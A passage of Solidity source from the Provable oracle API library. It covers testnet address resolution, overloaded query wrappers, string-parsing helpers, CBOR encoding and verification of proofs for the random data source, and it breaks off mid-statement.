(getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1) > 0) { //ropsten testnet OAR = OracleAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); provable_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e) > 0) { //kovan testnet OAR = OracleAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); provable_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48) > 0) { //rinkeby testnet OAR = OracleAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); provable_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0xa2998EFD205FB9D4B4963aFb70778D6354ad3A41) > 0) { //goerli testnet OAR = OracleAddrResolverI(0xa2998EFD205FB9D4B4963aFb70778D6354ad3A41); provable_setNetworkName("eth_goerli"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475) > 0) { //ethereum-bridge OAR = OracleAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF) > 0) { //ether.camp ide OAR = OracleAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA) > 0) { //browser-solidity OAR = OracleAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } /** * @dev The following `__callback` functions are just placeholders ideally * meant to be defined in child contract when proofs are used. * The function bodies simply silence compiler warnings. */ function __callback(bytes32 _myid, string memory _result) virtual public { __callback(_myid, _result, new bytes(0)); } function __callback(bytes32 _myid, string memory _result, bytes memory _proof) virtual public { _myid; _result; _proof; provable_randomDS_args[bytes32(0)] = bytes32(0); } function provable_getPrice(string memory _datasource) provableAPI internal returns (uint _queryPrice) { return provable.getPrice(_datasource); } function provable_getPrice(string memory _datasource, uint _gasLimit) provableAPI internal returns (uint _queryPrice) { return provable.getPrice(_datasource, _gasLimit); } function provable_query(string memory _datasource, string memory _arg) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; // Unexpectedly high price } return provable.query{value: price}(0, _datasource, _arg); } function provable_query(uint _timestamp, string memory _datasource, string memory _arg) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; // Unexpectedly high price } return provable.query{value: price}(_timestamp, _datasource, _arg); } function provable_query(uint _timestamp, string memory _datasource, string memory _arg, uint _gasLimit) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource,_gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; // Unexpectedly high price } return provable.query_withGasLimit{value: price}(_timestamp, _datasource, _arg, _gasLimit); } function provable_query(string memory _datasource, string memory _arg, uint _gasLimit) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; // Unexpectedly high price } return provable.query_withGasLimit{value: price}(0, _datasource, _arg, _gasLimit); } function provable_query(string memory _datasource, string memory _arg1, string memory _arg2) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; // Unexpectedly high price } return provable.query2{value: price}(0, _datasource, _arg1, _arg2); } function provable_query(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; // Unexpectedly high price } return provable.query2{value: price}(_timestamp, _datasource, _arg1, _arg2); } function provable_query(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2, uint _gasLimit) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; // Unexpectedly high price } return provable.query2_withGasLimit{value: price}(_timestamp, _datasource, _arg1, _arg2, _gasLimit); } function provable_query(string memory _datasource, string memory _arg1, string memory _arg2, uint _gasLimit) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; // Unexpectedly high price } return provable.query2_withGasLimit{value: price}(0, _datasource, _arg1, _arg2, _gasLimit); } function provable_query(string memory _datasource, string[] memory _argN) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; // Unexpectedly high price } bytes memory args = stra2cbor(_argN); return provable.queryN{value: price}(0, _datasource, args); } function provable_query(uint _timestamp, string memory _datasource, string[] memory _argN) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; // Unexpectedly high price } bytes memory args = stra2cbor(_argN); return provable.queryN{value: price}(_timestamp, _datasource, args); } function provable_query(uint _timestamp, string memory _datasource, string[] memory _argN, uint _gasLimit) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; // Unexpectedly high price } bytes memory args = stra2cbor(_argN); return provable.queryN_withGasLimit{value: price}(_timestamp, _datasource, args, _gasLimit); } function provable_query(string memory _datasource, string[] memory _argN, uint _gasLimit) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; // Unexpectedly high price } bytes memory args = stra2cbor(_argN); return provable.queryN_withGasLimit{value: price}(0, _datasource, args, _gasLimit); } function provable_query(string memory _datasource, string[1] memory _args) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](1); dynargs[0] = _args[0]; return provable_query(_datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, string[1] memory _args) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](1); dynargs[0] = _args[0]; return provable_query(_timestamp, _datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, string[1] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](1); dynargs[0] = _args[0]; return provable_query(_timestamp, _datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, string[1] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](1); dynargs[0] = _args[0]; return provable_query(_datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, string[2] memory _args) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return provable_query(_datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, string[2] memory _args) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return provable_query(_timestamp, _datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, string[2] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return provable_query(_timestamp, _datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, string[2] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return provable_query(_datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, string[3] memory _args) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return provable_query(_datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, string[3] memory _args) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return provable_query(_timestamp, _datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, string[3] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return provable_query(_timestamp, _datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, string[3] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return provable_query(_datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, string[4] memory _args) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return provable_query(_datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, string[4] memory _args) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return provable_query(_timestamp, _datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, string[4] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return provable_query(_timestamp, _datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, string[4] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return provable_query(_datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, string[5] memory _args) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return provable_query(_datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, string[5] memory _args) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return provable_query(_timestamp, _datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, string[5] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return provable_query(_timestamp, _datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, string[5] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return provable_query(_datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, bytes[] memory _argN) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; // Unexpectedly high price } bytes memory args = ba2cbor(_argN); return provable.queryN{value: price}(0, _datasource, args); } function provable_query(uint _timestamp, string memory _datasource, bytes[] memory _argN) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; // Unexpectedly high price } bytes memory args = ba2cbor(_argN); return provable.queryN{value: price}(_timestamp, _datasource, args); } function provable_query(uint _timestamp, string memory _datasource, bytes[] memory _argN, uint _gasLimit) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; // Unexpectedly high price } bytes memory args = ba2cbor(_argN); return provable.queryN_withGasLimit{value: price}(_timestamp, _datasource, args, _gasLimit); } function provable_query(string memory _datasource, bytes[] memory _argN, uint _gasLimit) provableAPI internal returns (bytes32 _id) { uint price = provable.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; // Unexpectedly high price } bytes memory args = ba2cbor(_argN); return provable.queryN_withGasLimit{value: price}(0, _datasource, args, _gasLimit); } function provable_query(string memory _datasource, bytes[1] memory _args) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = _args[0]; return provable_query(_datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, bytes[1] memory _args) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = _args[0]; return provable_query(_timestamp, _datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, bytes[1] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = _args[0]; return provable_query(_timestamp, _datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, bytes[1] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = _args[0]; return provable_query(_datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, bytes[2] memory _args) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return provable_query(_datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, bytes[2] memory _args) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return provable_query(_timestamp, _datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, bytes[2] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return provable_query(_timestamp, _datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, bytes[2] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return provable_query(_datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, bytes[3] memory _args) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return provable_query(_datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, bytes[3] memory _args) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return provable_query(_timestamp, _datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, bytes[3] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return provable_query(_timestamp, _datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, bytes[3] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return provable_query(_datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, bytes[4] memory _args) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return provable_query(_datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, bytes[4] memory _args) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return provable_query(_timestamp, _datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, bytes[4] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return provable_query(_timestamp, _datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, bytes[4] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return provable_query(_datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, bytes[5] memory _args) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return provable_query(_datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, bytes[5] memory _args) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return provable_query(_timestamp, _datasource, dynargs); } function provable_query(uint _timestamp, string memory _datasource, bytes[5] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return provable_query(_timestamp, _datasource, dynargs, _gasLimit); } function provable_query(string memory _datasource, bytes[5] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return provable_query(_datasource, dynargs, _gasLimit); } function provable_setProof(byte _proofP) provableAPI internal { return provable.setProofType(_proofP); } function provable_cbAddress() provableAPI internal returns (address _callbackAddress) { return provable.cbAddress(); } function getCodeSize(address _addr) view internal returns (uint _size) { assembly { _size := extcodesize(_addr) } } function provable_setCustomGasPrice(uint _gasPrice) provableAPI internal { return provable.setCustomGasPrice(_gasPrice); } function provable_randomDS_getSessionPubKeyHash() provableAPI internal returns (bytes32 _sessionKeyHash) { return provable.randomDS_getSessionPubKeyHash(); } function parseAddr(string memory _a) internal pure returns (address _parsedAddress) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } function strCompare(string memory _a, string memory _b) internal pure returns (int _returnCode) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) { minLength = b.length; } for (uint i = 0; i < minLength; i ++) { if (a[i] < b[i]) { return -1; } else if (a[i] > b[i]) { return 1; } } if (a.length < b.length) { return -1; } else if (a.length > b.length) { return 1; } else { return 0; } } function indexOf(string memory _haystack, string memory _needle) internal pure returns (int _returnCode) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if (h.length < 1 || n.length < 1 || (n.length > h.length)) { return -1; } else if (h.length > (2 ** 128 - 1)) { return -1; } else { uint subindex = 0; for (uint i = 0; i < h.length; i++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if (subindex == n.length) { return int(i); } } } return -1; } } function strConcat(string memory _a, string memory _b) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, "", "", ""); } function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory _concatenatedString) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory _concatenatedString) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; uint i = 0; for (i = 0; i < _ba.length; i++) { babcde[k++] = _ba[i]; } for (i = 0; i < _bb.length; i++) { babcde[k++] = _bb[i]; } for (i = 0; i < _bc.length; i++) { babcde[k++] = _bc[i]; } for (i = 0; i < _bd.length; i++) { babcde[k++] = _bd[i]; } for (i = 0; i < _be.length; i++) { babcde[k++] = _be[i]; } return string(babcde); } function safeParseInt(string memory _a) internal pure returns (uint _parsedInt) { return safeParseInt(_a, 0); } function safeParseInt(string memory _a, uint _b) internal pure returns (uint _parsedInt) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i = 0; i < bresult.length; i++) { if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) { if (decimals) { if (_b == 0) break; else _b--; } mint *= 10; mint += uint(uint8(bresult[i])) - 48; } else if (uint(uint8(bresult[i])) == 46) { require(!decimals, 'More than one decimal encountered in string!'); decimals = true; } else { revert("Non-numeral character encountered in string!"); } } if (_b > 0) { mint *= 10 ** _b; } return mint; } function parseInt(string memory _a) internal pure returns (uint _parsedInt) { return parseInt(_a, 0); } function parseInt(string memory _a, uint _b) internal pure returns (uint _parsedInt) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i = 0; i < bresult.length; i++) { if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) { if (decimals) { if (_b == 0) { break; } else { _b--; } } mint *= 10; mint += uint(uint8(bresult[i])) - 48; } else if (uint(uint8(bresult[i])) == 46) { decimals = true; } } if (_b > 0) { mint *= 10 ** _b; } return mint; } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function stra2cbor(string[] memory _arr) internal pure returns (bytes memory _cborEncoding) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < _arr.length; i++) { buf.encodeString(_arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] memory _arr) internal pure returns (bytes memory _cborEncoding) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < _arr.length; i++) { buf.encodeBytes(_arr[i]); } buf.endSequence(); return buf.buf; } function provable_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32 _queryId) { require((_nbytes > 0) && (_nbytes <= 32)); _delay *= 10; // Convert from seconds to ledger timer ticks bytes memory nbytes = new bytes(1); nbytes[0] = byte(uint8(_nbytes)); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = provable_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) /* The following variables can be relaxed. Check the relaxed random contract at https://github.com/oraclize/ethereum-examples for an idea on how to override and replace commit hash variables. */ mstore(add(unonce, 0x20), xor(blockhash(sub(number(), 1)), xor(coinbase(), timestamp()))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = provable_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } provable_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2]))); return queryId; } function provable_randomDS_setCommitment(bytes32 _queryId, bytes32 _commitment) internal { provable_randomDS_args[_queryId] = _commitment; } function verifySig(bytes32 _tosignh, bytes memory _dersig, bytes memory _pubkey) internal returns (bool _sigVerified) { bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4 + (uint(uint8(_dersig[3])) - 0x20); sigr_ = copyBytes(_dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(_dersig, offset + (uint(uint8(_dersig[offset - 1])) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(_tosignh, 27, sigr, sigs); if (address(uint160(uint256(keccak256(_pubkey)))) == signer) { return true; } else { (sigok, signer) = safer_ecrecover(_tosignh, 28, sigr, sigs); return (address(uint160(uint256(keccak256(_pubkey)))) == signer); } } function provable_randomDS_proofVerify__sessionKeyValidity(bytes memory _proof, uint _sig2offset) internal returns (bool _proofVerified) { bool sigok; // Random DS Proof Step 6: Verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(uint8(_proof[_sig2offset + 1])) + 2); copyBytes(_proof, _sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(_proof, 3 + 1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1 + 65 + 32); tosign2[0] = byte(uint8(1)); //role copyBytes(_proof, _sig2offset - 65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1 + 65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (!sigok) { return false; } // Random DS Proof Step 7: Verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1 + 65); tosign3[0] = 0xFE; copyBytes(_proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(uint8(_proof[3 + 65 + 1])) + 2); copyBytes(_proof, 3 + 65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } function provable_randomDS_proofVerify__returnCode(bytes32 _queryId, string memory _result, bytes memory _proof) internal returns (uint8 _returnCode) { // Random DS Proof Step 1: The prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L") || (_proof[1] != "P") || (uint8(_proof[2]) != uint8(1))) { return 1; } bool proofVerified = provable_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), provable_getNetworkName()); if (!proofVerified) { return 2; } return 0; } function matchBytes32Prefix(bytes32 _content, bytes memory _prefix, uint _nRandomBytes) internal pure returns (bool _matchesPrefix) { bool match_ = true; require(_prefix.length == _nRandomBytes); for (uint256 i = 0; i< _nRandomBytes; i++) { if (_content[i] != _prefix[i]) { match_ = false; } } return match_; } function provable_randomDS_proofVerify__main(bytes memory _proof, bytes32 _queryId, bytes memory _result, string memory _contextName) internal returns (bool _proofVerified) { // Random DS Proof Step 2: The unique keyhash has to match with the sha256 of (context name + _queryId) uint ledgerProofLength = 3 + 65 + (uint(uint8(_proof[3 + 65 + 1])) + 2) + 32; bytes memory keyhash = new bytes(32); copyBytes(_proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(_contextName, _queryId)))))) { return false; } bytes memory sig1 = new bytes(uint(uint8(_proof[ledgerProofLength + (32 + 8 + 1 + 32) + 1])) + 2); copyBytes(_proof, ledgerProofLength + (32 + 8 + 1 + 32), sig1.length, sig1, 0); // Random DS Proof Step 3: We assume sig1 is valid (it will be verified during step 5) and we verify if '_result' is the _prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), _result, uint(uint8(_proof[ledgerProofLength + 32 + 8])))) { return false; } // Random DS Proof Step 4: Commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8 + 1 + 32); copyBytes(_proof, ledgerProofLength + 32, 8 + 1 